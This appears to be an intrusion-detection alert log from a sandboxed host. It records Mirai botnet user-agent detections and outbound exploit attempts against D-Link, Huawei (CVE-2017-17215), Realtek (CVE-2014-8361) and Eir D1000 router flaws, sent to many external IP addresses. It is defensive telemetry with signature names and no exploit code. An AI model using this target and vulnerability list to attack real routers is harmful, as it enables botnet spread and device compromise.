192.168.2.2395.68.143.18545160802027121 10/23/22-17:58:12.838810	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45160	80	192.168.2.23	95.68.143.185
192.168.2.2318.203.114.12335412802835221 10/23/22-17:56:48.003722	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	35412	80	192.168.2.23	18.203.114.123
192.168.2.2378.129.191.7156902802835222 10/23/22-17:57:58.552595	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56902	80	192.168.2.23	78.129.191.71
192.168.2.2388.148.91.8754784802027121 10/23/22-17:57:05.159450	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	54784	80	192.168.2.23	88.148.91.87
192.168.2.2388.99.40.6736714802027121 10/23/22-17:58:32.657829	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36714	80	192.168.2.23	88.99.40.67
192.168.2.23112.80.248.4648880802027121 10/23/22-17:57:10.269344	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48880	80	192.168.2.23	112.80.248.46
192.168.2.2385.214.72.4557656802846457 10/23/22-17:57:31.240282	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57656	80	192.168.2.23	85.214.72.45
192.168.2.2346.163.117.16440232802846457 10/23/22-17:57:53.176295	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40232	80	192.168.2.23	46.163.117.164
192.168.2.2395.217.4.15642304802027121 10/23/22-17:57:21.038752	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42304	80	192.168.2.23	95.217.4.156
192.168.2.2395.100.232.2737994802027121 10/23/22-17:56:46.623464	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37994	80	192.168.2.23	95.100.232.27
192.168.2.2337.77.74.2554974528692027339 10/23/22-17:58:30.506992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54974	52869	192.168.2.23	37.77.74.25
192.168.2.23112.49.47.853804802027121 10/23/22-17:56:46.390283	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	53804	80	192.168.2.23	112.49.47.8
192.168.2.23213.87.80.2645896802846380 10/23/22-17:57:48.883208	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45896	80	192.168.2.23	213.87.80.26
192.168.2.2380.12.80.8534194802846380 10/23/22-17:56:39.207837	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34194	80	192.168.2.23	80.12.80.85
192.168.2.2380.154.29.24744908802846457 10/23/22-17:57:14.328185	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44908	80	192.168.2.23	80.154.29.247
192.168.2.2389.163.217.23755750802846457 10/23/22-17:58:10.277439	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55750	80	192.168.2.23	89.163.217.237
192.168.2.23169.1.233.9038006802846380 10/23/22-17:58:09.345906	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38006	80	192.168.2.23	169.1.233.90
192.168.2.2382.81.57.11838752802846380 10/23/22-17:56:39.359447	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38752	80	192.168.2.23	82.81.57.118
192.168.2.23112.34.112.10836420802027121 10/23/22-17:57:10.301508	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36420	80	192.168.2.23	112.34.112.108
192.168.2.23164.155.111.4843136802846457 10/23/22-17:57:22.533590	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43136	80	192.168.2.23	164.155.111.48
192.168.2.2370.62.230.25443020802835221 10/23/22-17:57:38.477263	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	43020	80	192.168.2.23	70.62.230.254
192.168.2.23122.228.200.11355508528692027339 10/23/22-17:57:14.125728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55508	52869	192.168.2.23	122.228.200.113
192.168.2.2389.34.101.12544744528692027339 10/23/22-17:58:32.710280	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44744	52869	192.168.2.23	89.34.101.125
192.168.2.2395.101.105.3132814802027121 10/23/22-17:57:40.667718	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	32814	80	192.168.2.23	95.101.105.31
192.168.2.2395.80.200.21038398802027121 10/23/22-17:58:15.223435	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38398	80	192.168.2.23	95.80.200.210
192.168.2.23112.118.111.18436898802027121 10/23/22-17:57:31.191166	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36898	80	192.168.2.23	112.118.111.184
192.168.2.2385.214.95.17742752802846457 10/23/22-17:58:01.316273	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42752	80	192.168.2.23	85.214.95.177
192.168.2.2382.78.31.20632818802846380 10/23/22-17:57:07.329941	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	32818	80	192.168.2.23	82.78.31.206
192.168.2.2352.194.164.20645512802841623 10/23/22-17:57:07.686714	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45512	80	192.168.2.23	52.194.164.206
192.168.2.23154.213.156.16046204802841623 10/23/22-17:57:44.512769	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46204	80	192.168.2.23	154.213.156.160
192.168.2.2380.237.207.24536402802846457 10/23/22-17:56:52.704370	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36402	80	192.168.2.23	80.237.207.245
192.168.2.2395.223.43.23833270802027121 10/23/22-17:58:27.442268	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33270	80	192.168.2.23	95.223.43.238
192.168.2.23178.57.217.12436848802846380 10/23/22-17:57:49.327759	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36848	80	192.168.2.23	178.57.217.124
192.168.2.2386.73.254.21857834802846380 10/23/22-17:57:03.498319	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57834	80	192.168.2.23	86.73.254.218
192.168.2.23181.52.121.1444068802846380 10/23/22-17:57:10.948665	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44068	80	192.168.2.23	181.52.121.14
192.168.2.23213.76.131.10534622802846380 10/23/22-17:57:24.960930	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34622	80	192.168.2.23	213.76.131.105
192.168.2.23200.90.104.16147350802846380 10/23/22-17:58:09.651122	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47350	80	192.168.2.23	200.90.104.161
192.168.2.2318.185.14.12156320802841623 10/23/22-17:56:59.044847	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56320	80	192.168.2.23	18.185.14.121
192.168.2.23188.128.226.3152330802846457 10/23/22-17:57:47.812263	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52330	80	192.168.2.23	188.128.226.31
192.168.2.2389.23.255.7846894802846457 10/23/22-17:57:07.080876	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46894	80	192.168.2.23	89.23.255.78
192.168.2.2380.248.211.552232802846380 10/23/22-17:57:11.369396	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52232	80	192.168.2.23	80.248.211.5
192.168.2.23164.92.188.23037294802846457 10/23/22-17:58:34.368348	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37294	80	192.168.2.23	164.92.188.230
192.168.2.2388.221.150.17951246802027121 10/23/22-17:57:59.939067	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51246	80	192.168.2.23	88.221.150.179
192.168.2.232.16.181.16937080802846457 10/23/22-17:57:28.752685	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37080	80	192.168.2.23	2.16.181.169
192.168.2.235.45.66.11534348802846457 10/23/22-17:57:35.597475	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34348	80	192.168.2.23	5.45.66.115
192.168.2.23186.78.174.7339924802835221 10/23/22-17:58:29.701765	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	39924	80	192.168.2.23	186.78.174.73
192.168.2.2382.124.15.24849894802846380 10/23/22-17:57:54.139204	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49894	80	192.168.2.23	82.124.15.248
192.168.2.23213.182.68.20157730802846380 10/23/22-17:57:03.553360	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57730	80	192.168.2.23	213.182.68.201
192.168.2.2388.133.227.16453244802027121 10/23/22-17:57:18.661578	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	53244	80	192.168.2.23	88.133.227.164
192.168.2.23171.1.89.12945514802846457 10/23/22-17:58:21.641440	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45514	80	192.168.2.23	171.1.89.129
192.168.2.23104.103.111.21952660802841623 10/23/22-17:58:06.256188	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52660	80	192.168.2.23	104.103.111.219
192.168.2.23213.55.174.19148554802846380 10/23/22-17:57:03.512340	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48554	80	192.168.2.23	213.55.174.191
192.168.2.2380.112.100.7657610802846457 10/23/22-17:56:52.717306	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57610	80	192.168.2.23	80.112.100.76
192.168.2.23178.135.102.12243920802846380 10/23/22-17:57:49.358932	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43920	80	192.168.2.23	178.135.102.122
192.168.2.23195.20.41.5336014802846457 10/23/22-17:58:21.665745	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36014	80	192.168.2.23	195.20.41.53
192.168.2.2395.101.146.24736554802027121 10/23/22-17:57:33.443735	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36554	80	192.168.2.23	95.101.146.247
192.168.2.2337.72.203.3554426528692027339 10/23/22-17:58:30.539666	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54426	52869	192.168.2.23	37.72.203.35
192.168.2.23169.148.66.8138822802846380 10/23/22-17:58:30.924119	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38822	80	192.168.2.23	169.148.66.81
192.168.2.23178.32.58.11139354802846380 10/23/22-17:58:27.257371	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39354	80	192.168.2.23	178.32.58.111
192.168.2.232.55.105.11544930802846457 10/23/22-17:57:07.202183	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44930	80	192.168.2.23	2.55.105.115
192.168.2.23122.236.227.17438636528692027339 10/23/22-17:58:14.781469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38636	52869	192.168.2.23	122.236.227.174
192.168.2.2384.252.102.16047992802846457 10/23/22-17:58:33.323703	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47992	80	192.168.2.23	84.252.102.160
192.168.2.232.132.135.7753470802846457 10/23/22-17:57:03.490780	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53470	80	192.168.2.23	2.132.135.77
192.168.2.23200.61.47.20332828802846380 10/23/22-17:57:18.808202	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	32828	80	192.168.2.23	200.61.47.203
192.168.2.2388.99.193.10940040802027121 10/23/22-17:57:49.334871	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40040	80	192.168.2.23	88.99.193.109
192.168.2.23112.167.1.3160102802027121 10/23/22-17:56:58.131054	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	60102	80	192.168.2.23	112.167.1.31
192.168.2.23178.62.10.5247822802846380 10/23/22-17:57:55.412772	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47822	80	192.168.2.23	178.62.10.52
192.168.2.23156.251.133.17635036802841623 10/23/22-17:58:18.782861	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35036	80	192.168.2.23	156.251.133.176
192.168.2.2323.33.171.14857632802835222 10/23/22-17:57:40.325812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57632	80	192.168.2.23	23.33.171.148
192.168.2.23206.189.127.1054244802846380 10/23/22-17:57:18.559033	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54244	80	192.168.2.23	206.189.127.10
192.168.2.2383.61.8.23760948802846380 10/23/22-17:58:19.895356	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60948	80	192.168.2.23	83.61.8.237
192.168.2.2389.223.4.1852418802846457 10/23/22-17:58:10.420211	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52418	80	192.168.2.23	89.223.4.18
192.168.2.23200.55.134.17442224802846380 10/23/22-17:56:55.302550	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42224	80	192.168.2.23	200.55.134.174
192.168.2.2337.252.74.9347202802846457 10/23/22-17:57:07.197733	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47202	80	192.168.2.23	37.252.74.93
192.168.2.23188.213.33.19145434802846457 10/23/22-17:58:07.936248	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45434	80	192.168.2.23	188.213.33.191
192.168.2.2395.86.69.7040030802027121 10/23/22-17:57:54.677600	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40030	80	192.168.2.23	95.86.69.70
192.168.2.23200.6.99.16338428802846380 10/23/22-17:58:17.015300	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38428	80	192.168.2.23	200.6.99.163
192.168.2.2388.221.250.10148572802027121 10/23/22-17:58:05.326044	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48572	80	192.168.2.23	88.221.250.101
192.168.2.23185.10.158.2156654802841623 10/23/22-17:56:51.489662	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56654	80	192.168.2.23	185.10.158.21
192.168.2.2395.110.227.6448552802027121 10/23/22-17:56:55.620612	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48552	80	192.168.2.23	95.110.227.64
192.168.2.2395.88.152.12037786802027121 10/23/22-17:56:53.158120	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37786	80	192.168.2.23	95.88.152.120
192.168.2.23195.164.254.22945374528692027339 10/23/22-17:58:30.527981	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45374	52869	192.168.2.23	195.164.254.229
192.168.2.2323.40.26.22344698802841623 10/23/22-17:57:12.938656	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44698	80	192.168.2.23	23.40.26.223
192.168.2.2384.16.247.6956900802846457 10/23/22-17:57:46.246485	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56900	80	192.168.2.23	84.16.247.69
192.168.2.2389.40.35.6046174802846457 10/23/22-17:57:07.197807	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46174	80	192.168.2.23	89.40.35.60
192.168.2.23197.25.212.3157758802835221 10/23/22-17:57:11.163825	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	57758	80	192.168.2.23	197.25.212.31
192.168.2.2354.230.110.18644904802835222 10/23/22-17:57:33.314706	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44904	80	192.168.2.23	54.230.110.186
192.168.2.23156.234.151.23938852802841623 10/23/22-17:58:29.254030	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38852	80	192.168.2.23	156.234.151.239
192.168.2.23188.166.243.18654270802846457 10/23/22-17:57:00.491512	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54270	80	192.168.2.23	188.166.243.186
192.168.2.23213.14.255.22459990802846380 10/23/22-17:57:24.977401	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59990	80	192.168.2.23	213.14.255.224
192.168.2.23112.162.214.6154798802027121 10/23/22-17:57:36.301164	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	54798	80	192.168.2.23	112.162.214.61
192.168.2.2386.94.8.10550242802846380 10/23/22-17:57:33.283591	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50242	80	192.168.2.23	86.94.8.105
192.168.2.23178.210.71.12038890802846380 10/23/22-17:58:27.300687	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38890	80	192.168.2.23	178.210.71.120
192.168.2.2382.165.74.1949028802846380 10/23/22-17:57:46.287055	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49028	80	192.168.2.23	82.165.74.19
192.168.2.23156.241.95.12437092802841623 10/23/22-17:58:37.928792	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37092	80	192.168.2.23	156.241.95.124
192.168.2.23213.250.35.12441982802846380 10/23/22-17:56:58.160862	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41982	80	192.168.2.23	213.250.35.124
192.168.2.23156.240.110.20937950372152835222 10/23/22-17:58:28.949107	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37950	37215	192.168.2.23	156.240.110.209
192.168.2.2395.89.118.15855294802027121 10/23/22-17:57:56.443829	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55294	80	192.168.2.23	95.89.118.158
192.168.2.2395.244.214.14857008802027121 10/23/22-17:56:53.180020	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57008	80	192.168.2.23	95.244.214.148
192.168.2.2337.59.182.22844582802846457 10/23/22-17:57:31.274748	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44582	80	192.168.2.23	37.59.182.228
192.168.2.2354.145.127.17257618802841623 10/23/22-17:58:14.489760	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57618	80	192.168.2.23	54.145.127.172
192.168.2.23188.225.62.12451002802846457 10/23/22-17:57:47.833690	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51002	80	192.168.2.23	188.225.62.124
192.168.2.2382.180.171.16433066802846380 10/23/22-17:58:06.311768	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33066	80	192.168.2.23	82.180.171.164
192.168.2.23206.72.5.24939794802846380 10/23/22-17:57:18.656565	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39794	80	192.168.2.23	206.72.5.249
192.168.2.2395.56.132.6240336802027121 10/23/22-17:57:45.060050	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40336	80	192.168.2.23	95.56.132.62
192.168.2.2395.155.211.18649866802027121 10/23/22-17:58:07.336838	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49866	80	192.168.2.23	95.155.211.186
192.168.2.2395.86.94.25544218802027121 10/23/22-17:57:38.707261	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	44218	80	192.168.2.23	95.86.94.255
192.168.2.23213.152.85.15535622802846380 10/23/22-17:57:18.657475	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35622	80	192.168.2.23	213.152.85.155
192.168.2.23178.32.61.5133928802846380 10/23/22-17:56:49.720674	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33928	80	192.168.2.23	178.32.61.51
192.168.2.2385.128.204.8339382802846457 10/23/22-17:57:58.562315	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39382	80	192.168.2.23	85.128.204.83
192.168.2.2395.86.78.15153844802027121 10/23/22-17:58:30.397264	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	53844	80	192.168.2.23	95.86.78.151
192.168.2.23181.41.202.8635206802846380 10/23/22-17:57:10.953928	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35206	80	192.168.2.23	181.41.202.86
192.168.2.2389.35.48.22951988802846457 10/23/22-17:57:38.013530	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51988	80	192.168.2.23	89.35.48.229
192.168.2.23156.247.23.883563075472023548 10/23/22-17:58:02.112528	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35630	7547	192.168.2.23	156.247.23.88
192.168.2.23156.241.118.18549012802835221 10/23/22-17:57:38.912493	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	49012	80	192.168.2.23	156.241.118.185
192.168.2.23112.169.156.954126802027121 10/23/22-17:58:36.316715	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	54126	80	192.168.2.23	112.169.156.9
192.168.2.2334.76.74.10445154802835221 10/23/22-17:56:47.921557	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	45154	80	192.168.2.23	34.76.74.104
192.168.2.2395.238.101.21546354802027121 10/23/22-17:58:05.406457	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46354	80	192.168.2.23	95.238.101.215
192.168.2.2395.9.41.15537402802027121 10/23/22-17:58:30.387777	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37402	80	192.168.2.23	95.9.41.155
192.168.2.23181.193.9.1845328802846380 10/23/22-17:57:13.788226	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45328	80	192.168.2.23	181.193.9.18
192.168.2.23112.74.115.13251736802027121 10/23/22-17:57:10.629643	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51736	80	192.168.2.23	112.74.115.132
192.168.2.2383.239.86.18154786802846380 10/23/22-17:58:19.925560	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54786	80	192.168.2.23	83.239.86.181
192.168.2.2341.225.51.14050464802835221 10/23/22-17:58:29.466955	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	50464	80	192.168.2.23	41.225.51.140
192.168.2.2388.98.101.15960440802027121 10/23/22-17:57:01.063687	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	60440	80	192.168.2.23	88.98.101.159
192.168.2.23122.116.94.9237090802841623 10/23/22-17:57:28.658822	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37090	80	192.168.2.23	122.116.94.92
192.168.2.2395.111.250.15860670802027121 10/23/22-17:57:49.311792	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	60670	80	192.168.2.23	95.111.250.158
192.168.2.23213.176.83.6157604802846380 10/23/22-17:57:25.070394	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57604	80	192.168.2.23	213.176.83.61
192.168.2.2382.165.26.15335618802846380 10/23/22-17:57:07.288541	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35618	80	192.168.2.23	82.165.26.153
192.168.2.23213.95.10.14644322802846380 10/23/22-17:57:37.887291	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44322	80	192.168.2.23	213.95.10.146
192.168.2.23181.214.78.4754170802846380 10/23/22-17:56:55.632050	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54170	80	192.168.2.23	181.214.78.47
192.168.2.2388.200.247.19333682802027121 10/23/22-17:58:05.284705	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33682	80	192.168.2.23	88.200.247.193
192.168.2.23200.75.200.10259758802846380 10/23/22-17:58:09.114577	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59758	80	192.168.2.23	200.75.200.102
192.168.2.23206.189.150.18458726802846380 10/23/22-17:57:00.053342	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58726	80	192.168.2.23	206.189.150.184
192.168.2.2395.158.160.751674802027121 10/23/22-17:57:34.534739	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51674	80	192.168.2.23	95.158.160.7
192.168.2.23213.151.37.534322802846380 10/23/22-17:57:58.356034	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34322	80	192.168.2.23	213.151.37.5
192.168.2.23200.85.57.15856762802846380 10/23/22-17:58:09.811552	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56762	80	192.168.2.23	200.85.57.158
192.168.2.23178.238.225.16148844802846380 10/23/22-17:58:27.248556	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48844	80	192.168.2.23	178.238.225.161
192.168.2.2388.221.126.21253874802027121 10/23/22-17:58:02.115636	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	53874	80	192.168.2.23	88.221.126.212
192.168.2.23200.7.9.5555484802846380 10/23/22-17:58:22.290851	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55484	80	192.168.2.23	200.7.9.55
192.168.2.2395.248.209.24548582802027121 10/23/22-17:57:25.854605	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48582	80	192.168.2.23	95.248.209.245
192.168.2.2385.214.194.20333140802846457 10/23/22-17:57:31.240332	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33140	80	192.168.2.23	85.214.194.203
192.168.2.2395.101.177.21939114802027121 10/23/22-17:58:24.017103	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39114	80	192.168.2.23	95.101.177.219
192.168.2.23200.145.50.17451190802846380 10/23/22-17:57:14.980709	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51190	80	192.168.2.23	200.145.50.174
192.168.2.23197.0.137.1375436075472023548 10/23/22-17:56:53.608732	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54360	7547	192.168.2.23	197.0.137.137
192.168.2.23213.32.68.8936496802846380 10/23/22-17:58:33.195889	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36496	80	192.168.2.23	213.32.68.89
192.168.2.23197.1.134.19957460372152835222 10/23/22-17:57:57.154835	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57460	37215	192.168.2.23	197.1.134.199
192.168.2.2388.219.3.14258788802027121 10/23/22-17:58:19.584441	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	58788	80	192.168.2.23	88.219.3.142
192.168.2.2389.21.223.20151174802846457 10/23/22-17:58:10.304546	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51174	80	192.168.2.23	89.21.223.201
192.168.2.2395.208.230.5437526802027121 10/23/22-17:57:28.451752	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37526	80	192.168.2.23	95.208.230.54
192.168.2.23188.158.91.12059320802846457 10/23/22-17:57:47.925030	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59320	80	192.168.2.23	188.158.91.120
192.168.2.2361.42.57.19348056802846457 10/23/22-17:57:51.197183	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48056	80	192.168.2.23	61.42.57.193
192.168.2.2395.216.37.8755274802027121 10/23/22-17:57:07.968046	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55274	80	192.168.2.23	95.216.37.87
